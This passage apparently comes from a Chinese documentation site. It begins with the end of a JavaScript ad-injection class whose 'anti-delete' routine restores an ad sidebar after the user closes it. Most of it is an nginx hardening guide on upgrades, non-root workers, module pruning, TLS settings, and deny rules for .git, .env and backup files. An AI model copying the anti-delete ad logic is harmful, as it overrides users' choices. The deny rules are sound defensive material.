        if (this.isClosed && this.config.afterClose === 'hide-sidebar' && !document.getElementById('advanced-ad-sidebar')) {
          this.createSidebarTab();
        }
      }, 2000);
    }

    stopAntiDelete() {
      if (this.observer) {
        this.observer.disconnect();
        this.observer = null;
      }
      if (this.checkInterval) {
        clearInterval(this.checkInterval);
        this.checkInterval = null;
      }
    }

    startAutoRemoveTimer() {
      if (this.config.autoRemoveDelay <= 0) return;
      
      this.resetAutoRemoveTimer();
    }

    resetAutoRemoveTimer() {
      this.lastInteractionTime = Date.now();
      
      if (this.autoRemoveTimer) {
        clearTimeout(this.autoRemoveTimer);
      }

      if (this.config.autoRemoveDelay > 0 && !this.isClosed) {
        this.autoRemoveTimer = setTimeout(() => {
          if (Date.now() - this.lastInteractionTime >= this.config.autoRemoveDelay * 1000) {
            console.log('⏱️ 无交互超时，自动移除广告');
            this.forceRemove();
          }
        }, this.config.autoRemoveDelay * 1000);
      }
    }

    stopAutoRemoveTimer() {
      if (this.autoRemoveTimer) {
        clearTimeout(this.autoRemoveTimer);
        this.autoRemoveTimer = null;
      }
    }

    forceRemove() {
      this.isClosed = true;
      this.stopAntiDelete();
      this.stopAutoRemoveTimer();
      
      if (this.adElement && this.adElement.parentNode) {
        this.adElement.remove();
        this.adElement = null;
      }
      
      if (this.sidebarElement && this.sidebarElement.parentNode) {
        this.sidebarElement.remove();
        this.sidebarElement = null;
      }

      if (typeof this.config.onClose === 'function') {
        this.config.onClose();
      }
    }

    updateMobileStyles() {
      // 移动端样式已在CSS中处理，这里可以添加额外逻辑
    }
  }

  // ==================== 启动 ====================
  new AdvancedAdInjector(CONFIG);

})();
```

---

---
url: /nginx/zotjxqiz/index.md
---
### 始终保持 Nginx 最新

保持 Nginx 最新是**安全性和性能**的基础保障。

```bash
# 检查当前 Nginx 版本
nginx -v

# 查看最新稳定版
curl -s https://nginx.org/en/download.html | grep -o 'nginx-[0-9]*\.[0-9]*\.[0-9]*' | head -1
```

**包管理器更新**

```bash
# Ubuntu/Debian
sudo apt update && sudo apt upgrade nginx

# CentOS/RHEL
sudo yum update nginx

# 检查更新后的版本
nginx -t && nginx -v
```

**源码编译更新（推荐最新版）**

```bash
# 下载最新源码
wget https://nginx.org/download/nginx-1.24.0.tar.gz
tar zxvf nginx-1.24.0.tar.gz
cd nginx-1.24.0

# 配置（保留原有参数）
./configure --with-http_ssl_module --with-http_v2_module ...  # 原有参数

# 编译安装
make
sudo make install

# 平滑重启
sudo nginx -s reload
```

### 平滑升级

**零停机更新**，保留所有现有配置和模块，用户无感知升级。

#### 准备工作

```nginx
# 查看当前 Nginx 版本和编译参数
nginx -V
# 输出示例：
# nginx version: nginx/1.22.1
# built by gcc 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04) 
# configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx ... --with-http_ssl_module --with-http_v2_module

# 备份当前 Nginx 二进制文件
sudo cp /usr/sbin/nginx /usr/sbin/nginx.backup.$(date +%Y%m%d)

# 备份配置目录
sudo cp -r /etc/nginx /etc/nginx.backup.$(date +%Y%m%d)
```

#### 获取并编译新版本

```nginx
# 下载最新稳定版（以 1.24.0 为例）
cd /tmp
wget https://nginx.org/download/nginx-1.24.0.tar.gz
tar zxvf nginx-1.24.0.tar.gz
cd nginx-1.24.0

# 使用完全相同的编译参数（关键步骤！）
# 将之前 nginx -V 输出的 configure arguments 复制过来
./configure \
    --prefix=/etc/nginx \
    --sbin-path=/usr/sbin/nginx \
    --modules-path=/usr/lib/nginx/modules \
    --conf-path=/etc/nginx/nginx.conf \
    --error-log-path=/var/log/nginx/error.log \
    --http-log-path=/var/log/nginx/access.log \
    --pid-path=/var/run/nginx.pid \
    --lock-path=/var/run/nginx.lock \
    --http-client-body-temp-path=/var/cache/nginx/client_temp \
    --http-proxy-temp-path=/var/cache/nginx/proxy_temp \
    --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp \
    --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp \
    --http-scgi-temp-path=/var/cache/nginx/scgi_temp \
    --user=nginx \
    --group=nginx \
    --with-http_ssl_module \
    --with-http_v2_module \
    --with-http_realip_module \
    --with-http_gunzip_module \
    --with-http_gzip_static_module \
    --with-threads \
    --with-file-aio

# 编译（不安装）
make
```

#### 平滑升级操作

```nginx
# 重要：先验证新版本兼容性
sudo /tmp/nginx-1.24.0/objs/nginx -t
# 预期输出：nginx: configuration file /etc/nginx/nginx.conf test is successful

# 备份旧二进制文件后替换
sudo mv /usr/sbin/nginx /usr/sbin/nginx.old
sudo cp /tmp/nginx-1.24.0/objs/nginx /usr/sbin/nginx

# 向主进程发送 USR2 信号，启动新版本工作进程
sudo kill -USR2 $(cat /var/run/nginx.pid)
# 此时新旧版本并存，旧进程变为老工人(old worker)

# 向旧主进程发送 WINCH 信号，优雅关闭旧工作进程
sudo kill -WINCH $(cat /var/run/nginx.pid.oldbin)

# 检查新进程是否正常运行
ps aux | grep nginx
# 应该看到新旧两组进程
```

#### 验证和回滚准备

```nginx
# 验证新版本运行状态
curl -I http://localhost
nginx -v

# 监控错误日志
sudo tail -f /var/log/nginx/error.log

# 保持旧进程一段时间（便于快速回滚）
# 旧主进程仍在运行，只是没有工作进程
```

#### 关键信号说明

##### 平滑升级信号流程

```nginx
# 1. USR2 - 启动新主进程和工作进程
# 2. WINCH - 优雅关闭旧工作进程  
# 3. QUIT - 完全关闭旧主进程（确认稳定后）
# 4. HUP - 重新加载配置（不影响升级）
```

##### 快速回滚方案

```nginx
# 如果新版本有问题，立即回滚
sudo kill -HUP $(cat /var/run/nginx.pid.oldbin)  # 重启旧工作进程
sudo kill -TERM $(cat /var/run/nginx.pid)        # 关闭新进程
sudo mv /usr/sbin/nginx.old /usr/sbin/nginx      # 恢复旧二进制文件
```

### 平滑升级的并行运行机制

```nginx
# 升级前的进程树
nginx: master process
├─ nginx: worker process
├─ nginx: worker process
└─ nginx: worker process

# 发送 USR2 信号后的进程树
nginx: master process (old)                 # 旧主进程
├─ nginx: worker process (old, closing)     # 正在关闭的旧工作进程
└─ nginx: master process (new)              # 新主进程（由旧进程fork产生）
    ├─ nginx: worker process (new)          # 新工作进程
    ├─ nginx: worker process (new)          # 新工作进程
    └─ nginx: worker process (new)          # 新工作进程
```

Nginx 平滑升级时新旧版本可以同时运行而不会发生端口冲突，这是因为新主进程是通过旧进程 fork() 产生的**子进程**，直接继承了父进程的所有**文件描述符**，包括监听端口的 socket。

在操作系统内核层面，实际上只有一个监听 socket，两个进程共享同一个网络连接队列。这种机制确保了升级过程中：

1. **零端口冲突** - 新旧进程使用相同的 socket 文件描述符
2. **无缝切换** - 新工作进程逐步接管连接处理
3. **零停机时间** - 用户完全感知不到升级过程
4. **快速回滚** - 出现问题可立即恢复旧进程

这与手动启动两个独立 Nginx 实例完全不同，后者会因为各自创建独立的监听 socket 而导致端口冲突。平滑升级的核心优势就在于通过进程继承关系实现了资源的无缝交接。

### 非特权用户运行

在 Linux 系统中，**最小特权原则（Principle of Least Privilege）** 是安全配置的核心思想。

该原则强调：任何进程、用户或程序都 **不应拥有超出完成任务所必需的权限**。这样可以最大限度地降低潜在的攻击面和风险。

Nginx 在启动时确实需要使用 **root 权限** 来执行某些敏感操作，例如：

* 绑定特权端口（如 80、443）
* 访问系统级目录或配置文件

但在完成这些初始化操作后，Nginx 的工作进程（worker processes）就 **不需要继续以 root 身份运行**。
因此，出于安全考虑，应让这些进程以一个 **非特权用户（如 `nginx`）** 的身份运行。

**简单来说**：只有主进程（master process）以 root 运行，而工作进程应当以低权限用户运行。

**配置方法**

**编辑 Nginx 主配置文件**

```nginx
# /etc/nginx/nginx.conf
user nginx;
```

> \[!NOTE]
>
> 代表：
>
> * 工作进程（worker processes）以 `nginx` 这个用户身份运行；
> * 如果系统中有同名组（`nginx` 组），那工作进程默认也属于该组。
>
> 所以这里的 “nginx” 一词既是用户（user），也是用户组（group），通常二者同名。
>
> 你可以通过以下命令验证：
>
> ```bash
> id nginx
> ```
>
> 输出类似：
>
> ```bash
> uid=997(nginx) gid=994(nginx) groups=994(nginx)
> ```
>
> 说明：
>
> * 用户名：nginx
> * 用户组名：nginx
> * UID/GID 为系统分配的标识号

这行配置指定了 Nginx 工作进程的运行用户与用户组。

如果不指定，默认可能是 `nobody` 或 `www-data`，取决于系统发行版。

**调整网站目录权限**

```bash
chown -R nginx:nginx /var/www/domain.com
```

这一步确保 Nginx 进程对网页根目录具有读写权限（至少读权限），从而能正常访问静态资源。

仅仅修改进程名或用户显示名称**不能提升安全性**。真正的安全在于权限的隔离与控制。

如果你在容器环境（如 Docker）中运行 Nginx，同样建议使用非 root 用户镜像（例如官方镜像 `nginx:alpine` 可以通过参数指定运行用户）。

若必须使用 root（例如反向代理监听 80/443），可确保仅主进程持有 root 权限，而 worker 进程降权运行。

执行以下命令可验证 Nginx 的实际运行用户：

```bash
ps aux | grep nginx
```

> \[!NOTE]
>
> 它其实是两条命令组合：
>
> **`ps aux`**
> 用来列出当前系统中所有正在运行的进程信息。
>
> * `a`：显示所有用户的进程（不是只显示当前终端的）
> * `u`：以用户为中心显示（会显示“进程所属用户”列）
> * `x`：显示没有控制终端的进程（例如守护进程 daemon）
>
> 所以 `ps aux` 就是列出所有正在运行的进程的详细信息。
>
> **`| grep nginx`**
> 管道符 `|` 表示“把前面命令的输出作为后面命令的输入”。
> `grep nginx` 会从输出中过滤出包含 “nginx” 关键字的行。
>
> 因此整个命令意思是：
>
> 查看系统中所有包含 nginx 字样的进程信息

你会看到类似输出：

```bash
root      1013  0.0  0.1  123456  4321 ?  Ss   10:20   0:00 nginx: master process /usr/sbin/nginx
nginx     1014  0.0  0.3  234567  5678 ?  S    10:20   0:00 nginx: worker process
```

| 列名                    | 含义                                     |
| ----------------------- | ---------------------------------------- |
| `root` / `nginx`        | 进程所属用户（owner）                    |
| `1013` / `1014`         | 进程 ID（PID）                           |
| `nginx: master process` | 命令或程序名称（即运行中的 Nginx 实例）  |
| `/usr/sbin/nginx`       | 启动路径                                 |
| 其他                    | CPU 占用、内存占用、启动时间、TTY 等信息 |

### 主进程 root + 工作进程降权运行步骤

实现如下运行状态：

```bash
root      1234  ... nginx: master process /usr/sbin/nginx
nginx     1235  ... nginx: worker process
```

即：

* 只有主进程是 root（用于监听特权端口 80/443）；
* 所有工作进程（处理请求的部分）以普通用户 `nginx` 运行。

**步骤总览**

1. **确认 Nginx 主配置文件路径**
2. **创建非特权用户与组**
3. **修改配置文件中的运行用户**
4. **修改网站目录权限**
5. **验证并重启服务**
6. **检查运行状态**

#### 确认配置文件与安装路径

不同安装方式配置路径不同：

| 安装方式           | 主配置文件路径                      | 二进制路径                     |
| ------------------ | ----------------------------------- | ------------------------------ |
| 官方包 / Ubuntu    | `/etc/nginx/nginx.conf`             | `/usr/sbin/nginx`              |
| CentOS / RHEL      | `/etc/nginx/nginx.conf`             | `/usr/sbin/nginx`              |
| 宝塔面板 / aaPanel | `/www/server/nginx/conf/nginx.conf` | `/www/server/nginx/sbin/nginx` |
| 自编译安装         | 取决于 `--prefix` 参数              | `prefix/sbin/nginx`            |

执行以下命令可自动探测：

```bash
nginx -t
```

会输出类似：

```bash
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
```

记下那条 `configuration file` 的路径。

#### 创建非特权用户和用户组

如果系统中还没有 `nginx` 用户，创建一个专用的：

```bash
sudo groupadd -r nginx
sudo useradd -r -g nginx -s /sbin/nologin -d /var/www nginx
```

说明：

* `-r` 表示创建系统用户（无登录权限）；
* `-g nginx` 指定用户组；
* `-s /sbin/nologin` 禁止直接登录；
* `-d /var/www` 作为默认主目录。

#### 编辑 Nginx 主配置文件

找到 `nginx.conf` 文件（上一步查到的路径），打开：

```bash
sudo vim /etc/nginx/nginx.conf
```

（或替换为你的实际路径，如 `/www/server/nginx/conf/nginx.conf`）

在顶部区域找到或添加：

```bash
user nginx;
```

**注意**：

* 如果该行是注释（`#user ...`），去掉 `#`；
* 如果系统中面板使用了别的用户名（如 `www` 或 `www-data`），可按需改为那个。

#### 调整网站文件权限

给该用户访问网站目录的权限（只需可读即可）：

```bash
sudo chown -R nginx:nginx /var/www/html
```

或（如果是面板环境）：

```bash
sudo chown -R nginx:nginx /www/wwwroot
```

若只想赋予读权限而不修改文件所有权，可：

```bash
sudo chmod -R 755 /www/wwwroot
```

#### 检查配置与重启服务

```bash
sudo nginx -t
```

若输出：

```bash
nginx: configuration file ... is ok
nginx: test is successful
```

说明一切正常。

然后重启 Nginx：

**系统服务方式：**

```bash
sudo systemctl restart nginx
```

**面板安装方式：**

```bash
/www/server/nginx/sbin/nginx -s reload
```

#### 验证运行用户

```
ps aux | grep nginx
```

如果一切配置正确，应看到类似输出：

```
root      1234  ... nginx: master process /usr/sbin/nginx
nginx     1235  ... nginx: worker process
```

表示主进程为 root、工作进程为 nginx 用户，降权运行成功。

#### 为什么这样设计？

**root 进程职责**

* 启动时绑定 80/443 等特权端口
* 管理工作进程（worker）生命周期

**worker 进程职责**

* 实际处理 HTTP 请求
* 不需要访问系统资源，因此降权运行更安全

若 Nginx 被攻破，攻击者只能获得低权限账户，**无法直接操作系统文件或执行特权命令**。

## 禁用不必要的模块

在生产环境中，**禁用所有不需要的 Nginx 模块** 是一项关键的安全加固措施。
这是因为每一个启用的模块都会：

* **扩大攻击面**（潜在漏洞增多）
* **增加内存占用与启动时间**
* **引入不必要的阻塞操作**，降低性能

因此，遵循 **最小功能原则（Principle of Least Functionality）**，仅保留业务所需的模块，禁用或卸载多余组件，是构建高安全性 Web 服务器的重要一步。

**实现方式**

Nginx 模块分为两类：

* **静态模块（static）**：编译时确定，写入二进制文件；
* **动态模块（shared / dynamic）**：运行时通过 `load_module` 指令加载。

不同类型的模块禁用方式不同

**在安装阶段禁用不必要模块（静态模块）**

在编译安装 Nginx 时，可以通过 `./configure` 选项关闭默认启用但无用的模块：

```bash
./configure \
  --without-http_autoindex_module \
  --without-http_ssi_module \
  --without-http_userid_module \
  --without-http_auth_basic_module
```

**示例说明**：

`--without-http_autoindex_module`：关闭目录自动索引功能（防止暴露文件列表）

`--without-http_ssi_module`：关闭服务器端包含（SSI）功能

`--without-http_userid_module`：关闭用户追踪 cookie 模块

`--without-http_auth_basic_module`：关闭基础认证模块（如未使用 basic auth）

编译后可使用以下命令查看已启用模块：

```bash
nginx -V
```

它会显示类似：

```bash
--with-http_ssl_module --without-http_autoindex_module ...
```

**禁用动态模块（load\_module）**

如果是通过包管理器或控制面板（如宝塔）安装的 Nginx，

很多模块是以 **动态共享库（.so）** 的形式加载的。

打开 `modules.conf` 或主配置文件中的加载区域，通常位于：

```bash
/etc/nginx/modules.conf
/www/server/nginx/conf/modules.conf
```

注释掉不使用的模块即可：

```bash
## load_module /usr/share/nginx/modules/ndk_http_module.so;
## load_module /usr/share/nginx/modules/ngx_http_auth_pam_module.so;
## load_module /usr/share/nginx/modules/ngx_http_cache_purge_module.so;
## load_module /usr/share/nginx/modules/ngx_http_dav_ext_module.so;
load_module  /usr/share/nginx/modules/ngx_http_echo_module.so;
## load_module /usr/share/nginx/modules/ngx_http_fancyindex_module.so;
load_module  /usr/share/nginx/modules/ngx_http_geoip_module.so;
load_module  /usr/share/nginx/modules/ngx_http_headers_more_filter_module.so;
## load_module /usr/share/nginx/modules/ngx_http_image_filter_module.so;
## load_module /usr/share/nginx/modules/ngx_http_lua_module.so;
load_module  /usr/share/nginx/modules/ngx_http_perl_module.so;
## load_module /usr/share/nginx/modules/ngx_mail_module.so;
## load_module /usr/share/nginx/modules/ngx_nchan_module.so;
## load_module /usr/share/nginx/modules/ngx_stream_module.so;
```

**注意**：注释前请确认模块确实未被任何配置使用，否则会导致启动失败。

修改后执行：

```bash
nginx -t
nginx -s reload
```

确保配置文件语法正确并成功重载。

**性能与安全提示**

**避免使用低质量第三方模块**

很多第三方模块存在性能隐患（阻塞 I/O、线程不安全），一旦部署在高并发环境下，可能破坏 Nginx 的异步事件模型，导致请求延迟、CPU 飙升甚至崩溃。

**仅选择高质量模块来源**

建议使用：

* 官方维护模块；
* 或来自 **OpenResty、Nginx 官方 GitHub、Nginx, Inc. 认证模块库** 的第三方模块。

**定期审查加载的模块列表**

```bash
nginx -V 2>&1 | grep module
```

确认没有意外启用的模块。

## 保护敏感资源

在 Web 应用部署中，一些隐藏目录和文件包含关键数据或源代码，例如：

* `.git`、`.svn`、`.hg` 等版本控制目录
* `.env`、`.htpasswd`、`.htaccess` 等配置文件
* 临时备份文件或敏感脚本

这些敏感资源如果被公开访问，攻击者可能：

* 下载源代码，寻找漏洞
* 获取数据库或 API 密钥
* 重新构建整个站点并进行滥用

因此，**隐藏的目录和文件永远不应该直接暴露在 Web 访问路径下**。

**特别注意**：即使你认为目录是“隐藏”的（以点开头），Nginx 默认也不会自动阻止访问。

**拒绝访问特定目录**

```bash
# 拒绝访问 .git 目录
location ~ /\.git {
    deny all;
}

# 或者拒绝 .svn
location ~ /\.svn {
    deny all;
}
```

**使用正则匹配多个敏感类型**

```nginx
# 拒绝访问 .git、.svn、.htaccess 文件
location ~* ^.*(\.(?:git|svn|htaccess))$ {
    return 403;
}
```

**阻止所有以 . 开头的隐藏文件/目录（保留 .well-known）**

```nginx
location ~ /\.(?!well-known/) {
    deny all;
}
```

`.well-known` 是 Let's Encrypt 等证书自动验证需要访问的目录，因此要例外允许。

**限制敏感文件类型**

```nginx
location ~* \.(bak|sql|tar|zip|old|backup)$ {
    deny all;
}
```

**限制应用配置文件**

```nginx
location ~* \.env$ {
    deny all;
}
```

**隔离上传目录**

```nginx
location /uploads/ {
    # 禁止直接执行脚本文件
    location ~* \.php$ {
        deny all;
    }
}
```

## 隐藏版本号

**信息泄露风险**：Nginx 默认会在 HTTP 响应头 `Server` 中显示版本号，例如：

```nginx
Server: nginx/1.26.3
```

攻击者可以利用已知漏洞针对特定版本发起攻击。

**安全神话**：尽管隐藏版本号无法真正防止漏洞利用（安全性依赖补丁和配置），但可以降低被自动化扫描器直接识别的风险，减少攻击面。

官方文档指出，不要期望仅通过隐藏版本号获得真正安全：“安全通过默默无闻获得”是神话。隐藏版本号只是一种**降低信息暴露的辅助措施**，不能替代补丁和安全配置。

同时，ServerTokens 不能设置得过低，否则可能影响调试与互操作性。

在 `nginx.conf` 中关闭版本显示

```nginx
http {
    server_tokens off;
}
```

`server_tokens off;` 会将 `Server` 响应头仅显示 `nginx`，不显示具体版本号：

```nginx
Server: nginx
```

可以放在 `http` 块，也可以放在 `server` 或 `location` 块，但推荐全局配置在 `http` 块。

**完全自定义 Server 头**

如果希望进一步控制响应头，可以使用 `more_set_headers`（需要 `headers-more` 模块）：

```nginx
# 在 server 或 location 块中
more_set_headers "Server: MyCustomServer";
```

**效果**：把默认的 `nginx` 服务器标识替换成自定义内容。

**注意**：这并不会增加真正安全性，只是进一步模糊服务器信息。

**标准 Nginx（官方 Windows/Linux 二进制）默认不带 `headers-more`**，使用 `more_set_headers` 会报错

**编译带 `more_set_headers` 模块的 Nginx**：

查看当前 Nginx 编译信息

```bash
nginx -V
```

输出示例：

```bash
nginx version: nginx/1.26.3
built by gcc 12.2.0 (Debian 12.2.0-14)
configure arguments: --user=www --group=www --prefix=/www/server/nginx --with-http_ssl_module --with-http_v2_module ...
```

* **作用**：获取现有编译选项，确保重新编译时保持原来的模块和路径。
* 保存下 `configure arguments`，后续会在新编译中复用。

**下载源码与模块**

1. 下载 Nginx 源码（和你当前版本一致）

```bash
wget http://nginx.org/download/nginx-1.26.3.tar.gz
tar zxvf nginx-1.26.3.tar.gz
cd nginx-1.26.3
```

2. 下载 `headers-more` 模块

```bash
git clone https://github.com/openresty/headers-more-nginx-module.git
```

**配置编译参数**

复用原来的 configure 参数，并添加模块：

```bash
./configure \
--user=www \
--group=www \
--prefix=/www/server/nginx \
--with-http_ssl_module \
--with-http_v2_module \
--with-http_stub_status_module \
--add-module=/path/to/headers-more-nginx-module
```

注意：

* 保持原来的参数，避免丢失已有功能
* `--add-module` 指向 headers-more 模块的路径

**编译与安装**

```bash
make
make install
```

`make install` 会覆盖 `/www/server/nginx`（或你之前的 prefix），也可以指定 `--prefix` 到新路径并测试。

**验证模块加载**

```bash
nginx -V
```

检查输出中是否有：

```bash
--add-module=/path/to/headers-more-nginx-module
```

## 隐藏上游代理标头

当 Nginx 作为**反向代理**或**负载均衡器**使用时，请求通常会被转发到上游服务器，例如：

* PHP-FPM、Node.js、Tomcat、ASP.NET
* 后端 CMS（Drupal、WordPress 等）

上游服务器可能会在 HTTP 响应头中包含敏感信息，例如：

* `X-Powered-By` → 告诉攻击者你在用 PHP、ASP.NET 等
* `X-AspNet-Version` / `X-AspNetMvc-Version` → ASP.NET 版本
* `X-Drupal-Cache` → Drupal 缓存信息

这些信息会**暴露后台技术栈和版本号**，增加攻击面。

虽然隐藏这些标头无法修复漏洞，但可以减少自动化扫描器直接识别的可能性，提高安全性。

在 Nginx 的 `server` 或 `location` 块中使用 `proxy_hide_header`：

```nginx
# 隐藏常见上游标头
proxy_hide_header X-Powered-By;
proxy_hide_header X-AspNetMvc-Version;
proxy_hide_header X-AspNet-Version;
proxy_hide_header X-Drupal-Cache;
```

**作用**：Nginx 将从上游接收到的这些响应头去掉，不会返回给客户端。

**使用场景**：

* 反向代理 PHP-FPM
* 代理 Node.js / Express / ASP.NET 服务
* 代理 CMS 系统（WordPress、Drupal、Joomla 等）

## 强制所有连接通过 TLS

* **加密传输**：保护用户数据免受嗅探
* **身份验证**：确保客户端连接的是正确的服务器
* **防止混合内容**：HTTPS 页面中不要加载 HTTP 子资源
* **强制 HSTS**：增强浏览器安全策略

即便是非敏感页面，也应尽量使用 HTTPS，现代浏览器会警告或阻止 HTTP 内容。

**全站强制 HTTPS（推荐）**

```nginx
# HTTP 重定向到 HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$host$request_uri;
}

# HTTPS 主站
server {
    listen 443 ssl;
    server_name example.com;

    ssl_certificate /path/to/fullchain.pem;
    ssl_certificate_key /path/to/privkey.pem;

    # 其他安全配置...
}
```

**只对敏感页面强制 HTTPS（登录、注册等）**

```nginx
server {
    listen 80;
    server_name example.com;

    location ^~ /login {
        return 301 https://example.com$request_uri;
    }

    location ^~ /register {
        return 301 https://example.com$request_uri;
    }
}
```

**可选：直接关闭 80 端口**

* 如果确定所有用户都通过 HTTPS 访问，可在防火墙或 Nginx 配置中关闭 HTTP（端口 80）
* 简化管理，避免 HTTP 重定向配置

**核心建议**

**全站 HTTPS 最安全**，尽量避免仅对部分路径开启

**启用 HSTS**：

```nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
```

**使用免费证书**：Let's Encrypt 提供免费且自动化的 TLS 证书

> \[!NOTE]
>
> **免费证书 vs 付费证书**
>
> **信任级别**
>
> * **免费证书（DV）**：只验证域名所有权
> * **付费证书（OV/EV）**：验证公司/组织身份，浏览器可能显示公司名称，附带赔偿保障
>
> **有效期与续期**
>
> * **免费**：90 天，需要自动续期
> * **付费**：1~2 年，可人工续期，附带技术支持
>
> **支持与功能**
>
> * **免费**：社区支持，功能有限
> * **付费**：官方售后、更多域名支持、通配符证书、多域名证书
>
> **总结**
>
> * **加密效果一样**
> * 差别在于 **身份验证严格程度、售后服务、企业可信度**
> * 小型网站、博客：免费证书够用
> * 企业、金融、支付网站：付费证书更适合

## 使用受支持的最新 OpenSSL 版本

**OpenSSL** 是一个开源的 **加密库**，提供 TLS/SSL 协议支持、加密算法、证书管理等功能

Nginx 使用 OpenSSL 来实现 HTTPS（加密传输）

它负责：

* **数据加密/解密**（对称加密、非对称加密）
* **数字证书验证**（X.509）
* **安全通信协议**（TLS/SSL）

**简单理解**：OpenSSL 就是 Nginx 的“加密引擎”，没有它，HTTPS 就不能工作。

**为什么要使用最新受支持版本**？

旧版本 OpenSSL 可能存在 **已知漏洞**

最新版本提供：

* 安全修复
* 新增算法支持
* 性能优化

只使用仍受官方支持的版本（LTS）才能保证安全性

检查系统自带 OpenSSL 版本：

```bash
openssl version
```

如果过旧：

* 在 Linux 系统上可以通过包管理器升级
* 或者 **源码编译 OpenSSL**，并在 Nginx 编译时指定：

```bash
./configure --with-openssl=/path/to/openssl
```

配置 Nginx 使用最新 OpenSSL 版本，实现安全的 TLS 支持

**总结**

* OpenSSL 是 Nginx HTTPS 的加密核心
* 使用最新受支持版本能避免漏洞和协议缺陷
* 对安全敏感的网站，这一步非常关键

## TLS 使用最少 2048 位私钥

当你在网站上启用 **HTTPS**（也就是浏览器地址栏显示锁）时，网站需要一个 **私钥（Private Key）** 来建立安全连接。

* **私钥**是一种秘密密码，它是网站“身份”和加密通信的核心。
* 浏览器和服务器通过这个私钥来进行 **TLS/SSL 握手**，确认网站身份，并生成加密通信的密钥。

简单比喻：

* 网站的私钥 = 网站的身份证 + 安全钥匙
* 浏览器通过它确认“你访问的网站是真正的网站”，并建立加密通道

**作用**：

**HTTPS（TLS/SSL）连接**：浏览器访问 https://example.com

**证书签名**：私钥配合证书（Certificate）一起使用，保证加密和身份验证

**SSL/TLS 握手**：客户端和服务器协商加密算法、生成对称密钥、验证身份

**为什么要使用 2048 位？**

**密钥长度决定加密强度**：

* 太短 → 容易被破解
* 太长 → 安全性增加，但网站响应慢，CPU 消耗大，用户体验差

当前推荐：**RSA 2048 位**足够商业用途，兼顾安全和性能

使用 **4096 位**主要是为了 SSL Labs 测试满分或心理安全感，实际提升不大

\*\*ECC（椭圆曲线加密）\*\*密钥更短也能提供同等安全性，速度更快

**总结**：

* RSA 2048 位 = 足够安全 + 性能合理
* ECC / x25519 = 更高性能、更短密钥、同等安全
* 4096 位 RSA = 可选，不必要

**生成 RSA 2048 位私钥**

```bash
openssl genrsa -out domain.com.key 2048
```

生成的 `domain.com.key` 就是你的私钥，用于 HTTPS 和证书签名

**使用 Let's Encrypt 生成证书（RSA 2048）**

```bash
certbot certonly -d domain.com -d www.domain.com --rsa-key-size 2048
```

**生成 ECC（ECDSA）私钥（更短、更快）**

```bash
openssl ecparam -out domain.com.key -name prime256v1 -genkey
openssl req -new -key domain.com.key -out domain.com.csr -sha256
```

**使用 x25519 曲线（TLS 1.3 推荐）**

```bash
openssl genpkey -algorithm x25519 -out private.key
```

这些操作最终都会生成私钥和证书，用于 **HTTPS 加密和身份验证**。

| 概念                    | 作用                                      |
| ----------------------- | ----------------------------------------- |
| **私钥（Private Key）** | 网站的身份证 + 加密钥匙，用于安全通信     |
| **证书（Certificate）** | 公钥 + 网站信息，由 CA 签发，验证网站身份 |
| **RSA 2048 位**         | 足够安全的加密长度，兼顾性能              |
| **ECC / x25519**        | 更现代的加密方式，密钥短、效率高          |
| **SSL/TLS 握手**        | 浏览器和服务器建立安全连接的过程          |

**总结**

* **私钥是 HTTPS 的核心**，必须安全存储
* **2048 位 RSA 是推荐值**，ECC 可选
* 过短 → 不安全
* 过长 → 性能差，用户体验下降
* 私钥 + 证书 = 浏览器能安全访问你的网站

**小结一句话**：私钥决定你的网站加密“强度”和身份可信度，2048 位足够安全，ECC 更快更现代，保证用户访问你的网站是安全的。

## 仅保留 TLS 1.3 和 TLS 1.2

当用户访问你的网站时，浏览器和服务器需要建立 **加密连接**，保证数据传输安全，这就是 **TLS/SSL**。

**TLS/SSL 协议** = 网站和浏览器通信的加密规则

不同版本的 TLS/SSL 协议加密强度不同：

* 旧版本（SSLv2/SSLv3/TLS1.0/TLS1.1）有安全漏洞
* 新版本（TLS1.2/TLS1.3）更安全、更快

**简单比喻**：

* TLS 协议 = 浏览器和网站“说话”的语言
* 老版本 = “破旧方言”，容易被监听或破解
* 新版本 = “现代语言”，安全可靠

**作用**

* HTTPS 网站的 **加密通信**
* 浏览器和服务器的 **TLS 握手**
* 控制网站支持哪些加密协议版本和密码算法

这就是控制网站“能用哪种安全加密方式和通信规则”。

**为什么只保留 TLS 1.2 和 TLS 1.3？**

| 版本              | 安全性      | 说明                                                |
| ----------------- | ----------- | --------------------------------------------------- |
| SSLv2 / SSLv3     | 不安全      | 很容易被攻击，已经废弃                              |
| TLS 1.0 / TLS 1.1 | 不安全      | 使用过时算法，浏览器已不支持                        |
| TLS 1.2           | 安全        | 当前最常用，支持现代加密算法，需要避免 CBC 式弱密码 |
| TLS 1.3           | 更安全 & 快 | 新协议，简化握手，删除过时算法，速度更快            |

**TLS1.2**：必须仔细配置密码套件，确保使用现代安全算法

**TLS1.3**：自动使用最安全密码，握手更快，消除了 TLS1.2 的一些复杂问题

浏览器访问网站时，如果服务器只支持安全版本，SSL/TLS 握手更安全

**启用 TLS 1.3 和 TLS 1.2**

```nginx
ssl_protocols TLSv1.3 TLSv1.2;
```

**只启用 TLS 1.2（兼容性需求）**

```nginx
ssl_protocols TLSv1.2;
```

**错误示例（不要用 TLS1.0 / 1.1）**

```nginx
ssl_protocols TLSv1.3 TLSv1.2 TLSv1.1; # 不推荐
ssl_protocols TLSv1.2 TLSv1.1;         # 不推荐
```

正确配置可以让 SSL Labs 得到 **100% 分**，错误配置会降低分数，说明安全性不足。

**总结**

* **TLS = HTTPS 的加密规则**
* **TLS1.2 + TLS1.3 = 安全可靠**
* **TLS1.0/1.1/SSL = 不安全**，必须禁用
* 配置示例就是告诉 Nginx：“我只允许安全的 TLS 版本，让用户通信更安全”

只让浏览器用最新、最安全的方式和网站说话，旧的破语言全部禁止。

**如何在 SSL Labs 测试网站安全性**

1. 打开浏览器，访问：https://www.ssllabs.com/ssltest/
2. 在 **“Hostname”** 输入你的网站域名（如 `example.com`）
3. 点击 **“Submit”**
4. 等待测试完成（通常几分钟）
5. 查看结果：
   * **Protocol Support**：确认只启用 TLS1.2 / TLS1.3
   * **Key Exchange**：检查 RSA / ECC 私钥长度
